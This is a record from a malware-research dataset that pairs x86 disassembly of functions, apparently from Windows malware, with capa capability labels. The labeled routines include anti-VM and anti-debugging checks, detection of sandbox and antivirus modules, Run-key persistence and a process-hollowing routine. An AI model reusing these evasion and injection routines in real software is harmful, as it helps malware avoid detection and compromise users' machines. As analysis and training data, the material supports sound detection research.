joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406aa4
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x406b19
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403778
mov dword [ebp - 4], 0x64
mov eax, dword [ebp - 4]
call fcn.00402850
mov ebx, eax
lea eax, [ebp - 4]
push eax
push ebx
call sub.advapi32.dll_GetUserNameA
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403970
mov edx, dword [ebp - 8]
mov eax, esi
mov ecx, 0x406b30
call fcn.00403a60
mov eax, ebx
call fcn.00402880
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406b20
lea eax, [ebp - 8]
call fcn.00403778
ret

Function at 0x406b34
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x406ba9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403778
mov dword [ebp - 4], 0x64
mov eax, dword [ebp - 4]
call fcn.00402850
mov ebx, eax
lea eax, [ebp - 4]
push eax
push ebx
call sub.advapi32.dll_GetUserNameA
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403970
mov edx, dword [ebp - 8]
mov eax, esi
mov ecx, 0x406bc0
call fcn.00403a60
mov eax, ebx
call fcn.00402880
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406bb0
lea eax, [ebp - 8]
call fcn.00403778
ret

Function at 0x406bc4
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x406c39
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403778
mov dword [ebp - 4], 0x64
mov eax, dword [ebp - 4]
call fcn.00402850
mov ebx, eax
lea eax, [ebp - 4]
push eax
push ebx
call sub.advapi32.dll_GetUserNameA
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403970
mov edx, dword [ebp - 8]
mov eax, esi
mov ecx, 0x406c50
call fcn.00403a60
mov eax, ebx
call fcn.00402880
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406c40
lea eax, [ebp - 8]
call fcn.00403778
ret

Function at 0x4076c0
Capabilities:
Reference the vmware io port

Disassembly:
xor eax, eax
push 0x4076e8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x564d5868
mov ebx, 0x3c6cf712
mov ecx, 0xa
mov dx, 0x5658
in eax, dx
mov eax, 1
jmp 0x4076fb
xor ebx, ebx
pop dword fs:[ebx]
add esp, 4
ret

Function at 0x407704
Capabilities:
Check for vm using instruction vpcext

Disassembly:
push ebp
mov ecx, 0x40774e
mov ebp, esp
push ebx
push ecx
push dword fs:[0]
mov dword fs:[0], esp
mov ebx, 0
mov eax, 1
invalid

Function at 0x407888
Capabilities:
Check for sandbox and av modules

Disassembly:
push ebx
xor ebx, ebx
push 0x4078a0
call sub.kernel32.dll_GetModuleHandleA_1
test eax, eax
je 0x40789b
mov bl, 1
mov eax, ebx
pop ebx
ret

Function at 0x4078ac
Capabilities:
Check for sandbox and av modules

Disassembly:
push ebx
xor ebx, ebx
push 0x4078c4
call sub.kernel32.dll_GetModuleHandleA_1
test eax, eax
je 0x4078bf
mov bl, 1
mov eax, ebx
pop ebx
ret
Function at 0x4078d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffef4
xor ebx, ebx
push esp
push 1
push 0
push 0x407938
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x407923
mov dword [esp + 4], 0x101
lea eax, [esp + 4]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x407964
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
lea eax, [esp + 8]
cmp eax, 0x407970
jne 0x407923
mov bl, 1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
add esp, 0x10c
pop ebx
ret

Function at 0x407988
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffef4
xor ebx, ebx
push esp
push 1
push 0
push 0x4079f0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4079db
mov dword [esp + 4], 0x101
lea eax, [esp + 4]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x407a1c
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
lea eax, [esp + 8]
cmp eax, 0x407a28
jne 0x4079db
mov bl, 1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
add esp, 0x10c
pop ebx
ret

Function at 0x407a40
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffef4
xor ebx, ebx
push esp
push 1
push 0
push 0x407aa8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x407a93
mov dword [esp + 4], 0x101
lea eax, [esp + 4]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x407ad4
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
lea eax, [esp + 8]
cmp eax, 0x407ae0
jne 0x407a93
mov bl, 1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
add esp, 0x10c
pop ebx
ret

Function at 0x407c20
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov eax, dword fs:[0x30]
movzx eax, byte [eax + 2]
or al, al
je 0x407c37
jne 0x407c3e
mov dword [ebp - 4], 1
mov dword [ebp - 8], 1
cmp dword [ebp - 8], 1
jne 0x407c4d
mov dl, 1
cmp dword [ebp - 4], 1
jne 0x407c55
xor edx, edx
mov eax, edx
pop ecx
pop ecx
pop ebp
ret

Function at 0x407c78
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
xor eax, eax
push ebp
push 0x407cce
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x407ce4
call fcn.00403810
push 0
push dword [ebp - 4]
mov eax, dword fs:[0x30]
movzx eax, byte [eax + 2]
or al, al
jne 0x407cb1
xor eax, eax
leave
ret
mov eax, 1
leave
ret

Function at 0x407d0c
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
add dword [eax + 0x20], 0x2000
ret
Function at 0x407fc4
Capabilities:
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403c04
xor eax, eax
push ebp
push 0x408063
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
call fcn.004082a0
test al, al
je 0x40804d
xor eax, eax
push ebp
push 0x408043
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00403c14
mov esi, eax
push esi
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
and bl, 2
and bl, 1
and bl, 4
xor eax, eax
mov al, bl
push eax
push esi
call sub.kernel32.dll_SetFileAttributesA
push esi
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40804d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40806a
lea eax, [ebp - 4]
call fcn.00403778
ret

Function at 0x4080cc
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40812c
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x408144
call fcn.00403810
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403810
push 0
push esi
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, 0x80000001
call fcn.00408624
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408133
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040379c
ret

Function at 0x4081e8
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00403c04
mov eax, dword [ebp - 8]
call fcn.00403c04
mov eax, dword [ebp + 8]
call fcn.00403c04
xor eax, eax
push ebp
push 0x40828d
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00403c14
push eax
push esi
call sub.advapi32.dll_RegCreateKeyA
mov eax, dword [ebp + 8]
call fcn.00403a14
push eax
mov eax, dword [ebp + 8]
call fcn.00403c14
push eax
push 2
push 0
mov eax, dword [ebp - 8]
call fcn.00403c14
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
jne 0x408261
mov bl, 1
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408294
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040379c
lea eax, [ebp + 8]
call fcn.00403778
ret
Function at 0x40830c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403c04
mov eax, dword [ebp - 8]
call fcn.00403c04
xor eax, eax
push ebp
push 0x4083a6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 2
push 0
push 2
push 0x40000000
mov eax, dword [ebp - 4]
call fcn.00403c14
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40838b
cmp esi, 0xffffffff
jne 0x40836f
push 0
push 0
push 0
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 8]
call fcn.00403c6c
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4083ad
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040379c
ret

Function at 0x408624
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00403c04
mov eax, dword [ebp - 8]
call fcn.00403c04
mov eax, dword [ebp + 0xc]
call fcn.00403c04
xor eax, eax
push ebp
push 0x408703
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, dword [ebp + 0xc]
call fcn.004037cc
lea eax, [ebp - 0xc]
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00403c14
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4086e0
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.00403c14
mov esi, eax
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4086d7
mov eax, ebx
mov edx, dword [ebp - 0x14]
call fcn.00403d44
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx]
call fcn.00403c14
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov edx, dword [ebp - 0x14]
dec edx
mov eax, ebx
call fcn.00403d44
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40870a
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040379c
lea eax, [ebp + 0xc]
call fcn.00403778
ret

Function at 0x408bfc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00403c14
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x408c15
test al, 0x10
jne 0x408c19
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret
Function at 0x408e50
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
mov ebx, ecx
mov esi, edx
xor eax, eax
push ebp
push 0x408f26
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea eax, [ebp - 4]
push eax
push 0
push 2
push 0
push 0
push 0
lea eax, [ebp - 0xc]
mov edx, esi
call fcn.00403970
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 8]
mov edx, 0x408f3c
call fcn.00403a60
mov eax, dword [ebp - 8]
call fcn.00403c14
push eax
push 0x80000002
call sub.advapi32.dll_RegCreateKeyExA
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00403970
mov eax, dword [ebp - 0x10]
call fcn.00403a14
mov esi, eax
mov eax, dword [0x40f0ac]
call fcn.00403a14
add esi, eax
push esi
lea eax, [ebp - 0x14]
mov edx, ebx
call fcn.00403970
lea eax, [ebp - 0x14]
mov edx, dword [0x40f0ac]
call fcn.00403a1c
mov eax, dword [ebp - 0x14]
call fcn.00403c14
push eax
push 1
push 0
push 0x408f74
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408f2d
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.0040379c
ret

Function at 0x408f80
Capabilities:
Delete registry key

Disassembly:
push ebx
push ecx
mov ebx, edx
push esp
push 0x20006
push 0
push 0x408fb4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA_1
push ebx
mov eax, dword [esp + 4]
push eax
call sub.advapi32.dll_RegDeleteKeyA
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
pop edx
pop ebx
ret
Function at 0x40dd78
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa4
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x5c], eax
xor eax, eax
push ebp
push 0x40de76
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [0x40f220]
mov edx, dword [edx]
lea eax, [ebp - 0x5c]
mov ecx, 0x40de8c
call fcn.00403a60
mov eax, dword [ebp - 0x5c]
call fcn.00403c14
push eax
push 0
push 0
call fcn.00405424
mov ebx, eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x40ddd3
push ebx
call sub.kernel32.dll_CloseHandle
jmp 0x40de60
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x40f1e8]
call fcn.00403c6c
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0
push 0x40de98
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [ebp - 4]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
mov edx, esi
mov eax, ebx
call fcn.00405fa0
test al, al
jne 0x40de60
lea eax, [ebp - 0x58]
mov edx, 0x44
call fcn.004055e4
lea eax, [ebp - 0x14]
mov edx, 0x10
call fcn.004055e4
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0x40dea8
push 0
call sub.kernel32.dll_CreateProcessA
mov ebx, dword [ebp - 0x14]
mov edx, esi
mov eax, ebx
call fcn.00405fa0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40de7d
lea eax, [ebp - 0x5c]
call fcn.00403778
ret
Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.00405e93
cmp dword [eax], 2
jge 0x401021
xor eax, eax
jmp 0x401183
lea ecx, [ebp - 0x1c]
call fcn.00401b70
lea ecx, [ebp - 0x34]
call fcn.00401b70
nop
mov dword [ebp - 0x50], 1
jmp 0x401044
mov eax, dword [ebp - 0x50]
add eax, 1
mov dword [ebp - 0x50], eax
call fcn.00405e93
mov ecx, dword [eax]
sub ecx, 1
cmp dword [ebp - 0x50], ecx
jg 0x401089
call fcn.00405e99
mov edx, dword [eax]
mov eax, dword [ebp - 0x50]
mov ecx, dword [edx + eax*4]
push ecx
lea ecx, [ebp - 0x1c]
call fcn.00401fc0
nop
call fcn.00405e93
mov edx, dword [eax]
sub edx, 1
cmp dword [ebp - 0x50], edx
je 0x401087
push 0x410194
lea ecx, [ebp - 0x1c]
call fcn.00401fc0
nop
jmp 0x40103b
lea ecx, [ebp - 0x1c]
call fcn.00402740
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x68], eax
lea ecx, [ebp - 0x1c]
call fcn.004027e0
lea ecx, [eax + eax + 2]
mov dword [ebp - 0x6c], ecx
push 0
push 0x410198
call dword [sym.imp.USER32.dll_FindWindowW]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jne 0x4010f7
lea edx, [ebp - 0x4c]
push edx
call fcn.004011a0
add esp, 4
push eax
lea ecx, [ebp - 0x34]
call fcn.00401e20
lea ecx, [ebp - 0x4c]
call fcn.00401d70
nop
push 0
push 0
push 0
lea ecx, [ebp - 0x34]
call fcn.00402740
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
mov dword [ebp - 0x58], 0
jmp 0x401109
mov eax, dword [ebp - 0x58]
add eax, 1
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0x12c
jge 0x401169
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push str.TeleNVDAURLHandler
call dword [sym.imp.USER32.dll_FindWindowW]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jbe 0x401167
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x70]
push ecx
push 0
push 0x4a
mov edx, dword [ebp - 0x54]
push edx
call dword [sym.imp.USER32.dll_SendMessageW]
nop
mov dword [ebp - 0x60], 0
lea ecx, [ebp - 0x34]
call fcn.00401d70
lea ecx, [ebp - 0x1c]
call fcn.00401d70
mov eax, dword [ebp - 0x60]
jmp 0x401183
jmp 0x401100
mov dword [ebp - 0x64], 1
lea ecx, [ebp - 0x34]
call fcn.00401d70
lea ecx, [ebp - 0x1c]
call fcn.00401d70
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402a42
mov esp, ebp
pop ebp
ret 0x10

Function at 0x401330
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
call fcn.00401e90
mov dword [ebp - 0x40c], 0x400
lea ecx, [ebp - 0x40c]
push ecx
lea edx, [ebp - 0x404]
push edx
push 0
push 0
mov ecx, dword [ebp + 0xc]
call fcn.00402740
push eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0
jne 0x40139d
lea ecx, [ebp - 0x404]
push ecx
mov ecx, dword [ebp + 0x10]
call fcn.00401f00
nop
mov eax, dword [ebp - 0x408]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402a42
mov esp, ebp
pop ebp
ret
Function at 0x402e20
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
jmp 0x402e55
mov ecx, dword [edx + 0xc]
cmp dword [ebp + 0xc], ecx
jb 0x402e52
mov eax, dword [edx + 8]
add eax, ecx
cmp dword [ebp + 0xc], eax
jb 0x402e5e
add edx, 0x28
cmp edx, esi
jne 0x402e40
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x402e5b

Function at 0x4032d6
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403315
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403315
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403315
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403315
cmp dword [ecx + 0x74], 0xe
jbe 0x403315
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x407fea
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x408035
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00408205
test al, al
jne 0x40802f
sub edx, 2
cmp edx, edi
jne 0x408015
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x408057
lea eax, [edi + 2]
cmp edx, eax
je 0x408057
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.00407f36
add esp, 0x10
jmp 0x40814f
push esi
lea ecx, [ebp - 0x255]
call fcn.00408205
sub edx, edi
xor ecx, ecx
sar edx, 1
inc edx
test al, al
lea eax, [ebp - 0x254]
cmovne ecx, edx
xor ebx, ebx
push ebx
push ebx
push ebx
push eax
push ebx
push edi
mov dword [ebp - 0x260], ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x408098
push dword [ebp - 0x25c]
jmp 0x408047
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x4080d5
cmp word [ebp - 0x226], 0
je 0x4080f6
cmp word [ebp - 0x226], ax
jne 0x4080d5
cmp word [ebp - 0x224], 0
je 0x4080f6
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.00407f36
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x408142
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x4080af
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x40812a
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x40814f
push 0x407d66
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.0040afc0
add esp, 0x10
jmp 0x40811f
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402a42
leave
ret
Function at 0x40eea0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40eecd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40eecd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4070a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x188
mov eax, dword [0x462014]
xor eax, esp
mov dword [esp + 0x184], eax
push esi
push edi
push 0x104
lea eax, [esp + 0x84]
mov esi, ecx
push eax
push 0
call 0x33e06d1
nop
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x407289
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x407289
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.004340f0
add esp, 0xc
lea eax, [esp + 0x20]
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [esp + 0xa4]
push eax
call 0x33e075a
nop
test eax, eax
je 0x407289
push 4
push 0x1000
push 4
push 0
call 0x33e0000
nop
push eax
mov dword [esp + 0x1c], eax
mov dword [eax], 0x10007
push dword [esp + 0x28]
call 0x33900d8
nop
test eax, eax
je 0x407289
push 0
push 4
lea eax, [esp + 0x24]
push eax
push 0x458df8
push dword [esp + 0x30]
call 0x3390557
nop
mov eax, dword [edi + 0x34]
cmp dword [esp + 0x1c], eax
jne 0x4071ac
push 0x458dfc
push 0x458e14
call 0x33d0b3f
nop
push eax
call 0x339029b
nop
push dword [esp + 0x1c]
push dword [esp + 0x24]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [esp + 0x30]
call 0x3390371
nop
mov dword [esp + 0x14], eax
test eax, eax
je 0x407289
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [esp + 0x30]
call 0x33e0630
nop
xor eax, eax
mov dword [esp + 0x10], 0
cmp ax, word [edi + 6]
jae 0x407243
mov dword [esp + 0xc], eax
call fcn.00406ef0
push eax
call 0x33c065c
nop
mov ecx, dword [esp + 0xc]
add ecx, esi
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [esp + 0x20]
push eax
push dword [esp + 0x30]
call 0x33e0630
nop
mov ecx, dword [esp + 0x10]
movzx eax, word [edi + 6]
inc ecx
add dword [esp + 0xc], 0x28
mov dword [esp + 0x10], ecx
cmp ecx, eax
jl 0x4071f2
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [esp + 0x30]
call 0x33e0630
nop
mov ecx, dword [esp + 0x18]
mov eax, dword [edi + 0x28]
add eax, dword [esp + 0x14]
push ecx
mov dword [ecx + 0xb0], eax
push dword [esp + 0x28]
call 0x33907ab
nop
push dword [esp + 0x24]
call 0x33d0c50
nop
push 0x8000
push 0
push esi
call 0x33e0525
nop
mov ecx, dword [esp + 0x18c]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.0041cff1
mov esp, ebp
pop ebp
ret
Function at 0x41dcc7
Capabilities:
Parse pe header

Disassembly:
push 0
call 0x3440543
nop
test eax, eax
je 0x41dd07
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41dd07
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41dd07
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41dd07
cmp dword [ecx + 0x74], 0xe
jbe 0x41dd07
cmp dword [ecx + 0xe8], 0
je 0x41dd07
mov al, 1
ret
xor al, al
ret